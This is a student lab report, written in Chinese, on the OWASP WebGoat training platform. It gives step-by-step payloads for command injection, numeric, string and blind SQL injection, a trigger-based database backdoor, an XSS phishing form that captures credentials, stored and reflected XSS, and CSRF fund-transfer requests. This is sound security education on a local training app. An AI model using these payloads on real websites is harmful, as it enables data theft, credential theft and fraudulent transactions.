《网络对抗技术》Exp9 Web安全基础 Week13

一、实验目标与内容

  • 1.实践内容

    • (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
  • 2.一些问题

    • (1)SQL注入攻击原理,如何防御
    • 答:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。防御手段:不允许提交含有特殊字符的字符串,加密数据库中的内容等。

    • (2)XSS攻击的原理,如何防御
    • 答:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。防御手段:表单提交的时候检测特殊字符的存在;消除网站的XSS漏洞,网站开发者运用转义安全字符手段等。

    • (3)CSRF攻击的原理,如何防御
    • 答:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。对于每一个重要的post提交页面,都使用一个验证码。每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击。定期清理cookie,甚至不使用cookie

二、实验步骤

安装WebGoat

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 1、在https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载webgoat-container-7.0.1-war-exec.jar,放到kali中。

  • 2、在命令行输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,等待一小会后出现如下提示则运行成功。

  • 3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

  • 4、使用页面下端任意一个账号密码进行登录,可以看到如下页面:

  • 5、接下来就是在左侧选择各种选项进行相应的测试。

各种注入漏洞(Injection Flaws)

1、Command Injection(命令注入)

  • 简介:命令注入就是通过在要提交的文本框中输入一些命令,提交后这些命令被执行,从而达到一定的目的。

  • (1)首先可以看到页面中有一个复选框,里面有很多选项,它们都是合法的

  • (2)我们要做的是通过修改源代码,在其中一个选项的后面添加一些指令,通过选择修改后的选项,点击view达到效果。

  • (3)右击页面,选择inspect Element查看页面源代码进行修改,双击复选框中任意一栏的代码进行编辑,添加"& pwd"。

  • (4)在复选框中选择该项,点击view,发现添加的命令被成功执行,攻击成功。

2、Numeric SQL Injection(数字型注入)

  • 简介:通过在要提交的文本框中加入一些其他的逻辑条件,来在没有权限的情况下绕过权限的限制,得到更多的东西。

  • (1)首先在页面中我们可以看到这只是一个简单的天气查询,在复选框中选择一个城市,点击go后可以查看所选择的城市的天气。这里复选框中只有四个选项

  • (2)我们可以猜测,这里的数据库语句应该是在数据库中查找城市对应编号所在的行,然后输出天气。

  • (3)右击页面,选择inspect Element查看页面源代码进行修改,找到复选框代码所在位置后,双击对value="102"进行修改,在后面添加or 1=1

  • (4)选择该城市,点击go。发现所有城市的天气信息都被输出,其中还有两个是选项里没有的。攻击成功

3、Log Spoofing(日志欺骗)

  • 简介:在进行web攻击后,往往会在日志文件中留下自己的攻击痕迹。通过日志欺骗,可以伪造日志,消除或掩盖自己的攻击痕迹。

  • (1)在 username 中填入zwy%0d%0aLogin Succeeded for username: admin,其中%0d%0a是回车和换行符号的ASCII码,密码任意。点击登录,可以看到如下信息。

  • (2)这样看起来就好像是有一个账号admin登录了网页。但其实这是假的。攻击者可以利用这种方式向日志文件中添加恶意脚本。比如在用户名输入admin <script>alert(document.cookie)</script>并提交,那么管理员页面就会弹出一个cookies信息。

4、LAB: SQL Injection

  • 这里有4个步骤,但是Stage 2和Stage 4仅适用于WebGoat的开发版本

  • Stage 1: 字符串型注入

    • 目标是绕过登录。

    • (1)首先尝试选择管理员身份,密码输入' or '1' = '1。在密码输入的时候会发现这里设置了长度限制,' or '1' = '1占13个长度,而密码框限制了输入长度为8

    • (2)根据上面的经验可以判断出需要修改页面源代码。

    • (3)右击页面,选择inspect Element查看页面源代码。右击页面,选择inspect Element查看页面源代码进行修改,修改密码框的长度为13。

    • (4)再次在密码框输入' or '1' = '1,发现这回没有被限制。点击登录后弹出如下提示,攻击成功

  • Stage 3: 数字型 SQL 注入

    • 目标:使用员工Larry的身份,查看老板Neville的信息。

    • (1)先使用Stage 1的方法,绕过登录,查看Larry的信息。

    • (2)右键点击页面,选择inspect Element查看页面源代码,找到选项框中的信息Larry Stooge所在的代码位置。

    • (3)相关人员信息就是通过value中的值进行搜索的。通常来说老板的工资是最高的,工资字段一般都是salary,所以修改value为101 or 1=1 order by salary desc,点击ViewProfile,发现得到老板的信息,攻击成功。

5、String SQL Injection(字符串注入)

  • (1)这个网站可以查询用户的信用卡号码。这里较为简单,原理与上面的数字型注入相似。

  • (2)在用户名框输入' or 1=1--,点击go,获得所有用户的信用卡号码

6、Database Backdoors(数据库后门)

  • (1)目标:创建一个数据库后门。尝试在输入查询id的同时注入命令增加工资。

  • (2)什么是数据库后门?数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如增删改查。比如:攻击者可以创建一个触发器, 使得创建新用户时将每个新用户的工资增加10000。

  • (3)这个网站的作用是输入用户id,返回用户相应信息。输入`101进行搜索,可以看到现在的工资是55000

  • (4)输入101; update employee set salary=66666修改工资为66666。

  • (3)输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid,完成攻击。

  • 注:CREATE TRIGGER myBackDoor是创建一个后门。BEFORE是在....之前。这条语句是在插入新的数据之前把新员工的工资项加10000后再放入数据库。

7、Blind Numeric SQL Injection(数字型盲注)

  • 简介:一般来说, SQL 注入是没有明确返回信息的,这时候的注入就叫做盲注。

  • 目标:找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。

  • (1)该网站允许输入一个帐号,并检测该帐号是否合法。如果合法(存在),则提示有效,否则提示无效。比如:

  • (2)这里我们可以利用AND。这样一来当AND两边恒为真时,才会提示有效,否则提示无效。

  • (3)接下来就是利用数据库语句进行测试来找出pin的id。在文本框输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )。发现无效,说明≤5000。

  • (4)接下来通过不断地折半查找,得到pin为2364

8、Blind String SQL Injection(字符型盲注)

  • 目标:与7相似,不过这里的pin字段变成varchar。

  • (1)同样的,利用AND。首先输入101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)测试一下pin的长度。显示

  • (2)继续进行尝试,发现长度是4。

  • (3)接着输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )来不断对第n个字母进行确认。这里过程琐碎就不再列出。最后得到pin字段是Jill

跨站脚本攻击(XSS)

1、Phishing with XSS(使用 XSS 钓鱼)

  • 简介:原理:当用户输入非法 HTTP 响应时容易造成 XSS,jsp代码被执行。

  • (1)右击页面,选择inspect Element查看页面源代码。右击页面,选择inspect Element查看页面源代码进行修改,双击其中任意一个部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

  • (2)搜索这段代码,出现如下界面

  • (3)输入任意,点击提交

2、Stored XSS Attacks(存储型XSS攻击)

  • 简介:常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

  • (1)在title中任意输入字符,留言板中输入<script>alert("You've been attacked!!!");</script>,提交。

  • (2)提交后可以看见在下方出现了一个以title命名的链接,点击后执行刚刚的html语句,攻击成功

3、Reflected XSS Attacks(反射型XSS攻击)

  • 简介:攻击者使用攻击脚本创建一个URL,其访问另一个网站,通过各种方式来让受害者点击它。

  • (1)直接输入<script>alert("You've been attacked!!!");</script>,点击purse即可。

4、Cross Site Request Forgery (CSRF)(跨站请求伪造)

  • (1)简介:让受害者加载一个包含网页的图片的一种攻击手段。

跨站点请求伪造(csrf/xsrf)是一种攻击,诱骗受害者加载包含img链接的页面,如下所示: 当受害者的浏览器试图呈现加载某个“图片”(实际上包含了对其他网站的请求)时,它将向www.mybank.com发出一个带有指定参数的TransferFunds.do页面请求。浏览器会认为链接是为了获取图像,即使它实际上是一个资金转移功能。该请求将包括与站点关联的所有cookie。因此,如果用户已经对站点进行了身份验证,并且拥有永久cookie,甚至当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,例如注销、购买物品或脆弱网站提供的任何其他功能。

  • (2)右侧Parameters中的src和menu值,分别为282和900

  • (3)标题任意,内容输入<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=4000" width="1" height="1" />,然后提交。

  • (4)可以看到下方出现一个连接,可以点。点击后触发CSRF事件,攻击成功

5、CSRF Prompt By‐Pass(绕过 CSRF 确认)

  • (1)实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令

  • (2)与CSRF课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面。

  • (3)在title框中任意输入,message框中输入代码:<iframe src="attack?Screen=297&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=297&menu=900&transferFunds=CONFIRM"> </iframe>

三、遇到的问题

  • 1、启动WebGoat并登录后左侧没有相应栏。
  • 解决方法:发现是因为jdk版本不匹配。下载1.8的jdk,设置好环境变量后解决了问题。参考https://www.jianshu.com/p/9ec7838411c8

四、心得体会

  • 通过本次实验,学习了注入攻击和XSS攻击、CSRF攻击,了解了这些攻击的原理,进行了简单的尝试,感觉虽然没有学得很深入,但是很好地拓宽了知识面。

20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13的更多相关文章

  1. 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践

    20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...

  2. 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础

    2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...

  3. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  4. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  5. #20155232《网络对抗》Exp9 Web安全基础

    20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...

  6. 20155302《网络对抗》Exp9 Web安全基础

    20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...

  7. 20155308《网络对抗》Exp9 Web安全基础实践

    20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...

  8. 20155323刘威良《网络对抗》Exp9 Web安全基础

    20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...

  9. 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

    20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...

  10. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

随机推荐

  1. Flink基本的API(续)

    上一篇介绍了编写 Flink 程序的基本步骤,以及一些常见 API,如:map.filter.keyBy 等,重点介绍了 keyBy 方法.本篇将继续介绍 Flink 中常用的 API,主要内容为 指 ...

  2. .NET EF执行sql报数组超出了索引

    使用ef查询,写sql语句的 一般情况报数组超出了索引都认为是[i]里面的值超出了,但是执行sql报超出了索引,让人很蒙 在网上找了半天也没有结果,后来只能自己来解决了. 在异常里面能看到dbnull ...

  3. H5页面基础元素

    H5页面结构元素示例 <!DOCTYPE html> <html lang="zh"> <head> <meta charset=&quo ...

  4. ubuntu与centos系统对比

    CentOS与Ubuntu该如何选择,哪个更好用.笔者在自媒体平台收集了一些网友的观点,较为经典,分享给大家.至于应该选择哪个,希望看完本文章后,读者心中有数. 观点1:CentOS适用于服务器,Ub ...

  5. 安装MySQL-8.0.13

    安装1.去官网下载对应的MySQL版本http://downloads.mysql.com/archives/community/ 2.将下载下来的MySQL解压到你想要安装的目录下安装MySQL8. ...

  6. Java 之 JDK 1.8 新增日期时间类型

    一.原来的日期时间 Java1.0中包含了一个Date类,但是它的大多数方法已经在Java 1.1引入Calendar类之后被弃用了.而Calendar并不比Date好多少.它们面临的问题是: ① 可 ...

  7. Flex,Flash,AS3,AIR的关系和区别

    转自:http://www.admin10000.com/document/156.html 本文详细介绍了 Flash.Flex.AS3.AIR 的关系和区别.希望对初学者有帮助. AS3 Acti ...

  8. React Navigation 导航栏样式调整+底部角标消息提示

    五一佳节匆匆而过,有人选择在外面看人山人海,有人选择宅在家中度过五一,也有人依然坚守在第一线,致敬! 这是坚持学习react-native的第二篇文章,可能会迟到,但是绝不会缺席,这篇要涉及到的是re ...

  9. current transaction is aborted, commands ignored until end of transaction block

    current transaction is aborted, commands ignored until end of transaction block Error updating datab ...

  10. Ingress-Nginx

    注意:  本文只用的ingress-nginx版本为0.24.1,可在官方网站自行下载 https://github.com/kubernetes/ingress-nginx 一.Ingress-Ng ...